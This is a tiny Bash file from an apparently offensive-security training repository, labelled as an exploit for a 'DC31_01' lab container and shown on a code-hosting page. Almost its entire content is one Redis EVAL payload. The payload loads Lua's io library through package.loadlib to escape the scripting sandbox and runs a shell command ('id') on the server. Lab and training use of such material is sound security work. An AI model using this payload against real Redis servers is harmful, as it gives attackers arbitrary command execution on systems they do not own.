h4cker/web_application_testing/additional_exploits/dc31_01.sh

3 lines
232 B
Bash
Raw Normal View History

2023-10-19 19:30:07 +00:00
# Exploit for the DC31_01 container
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0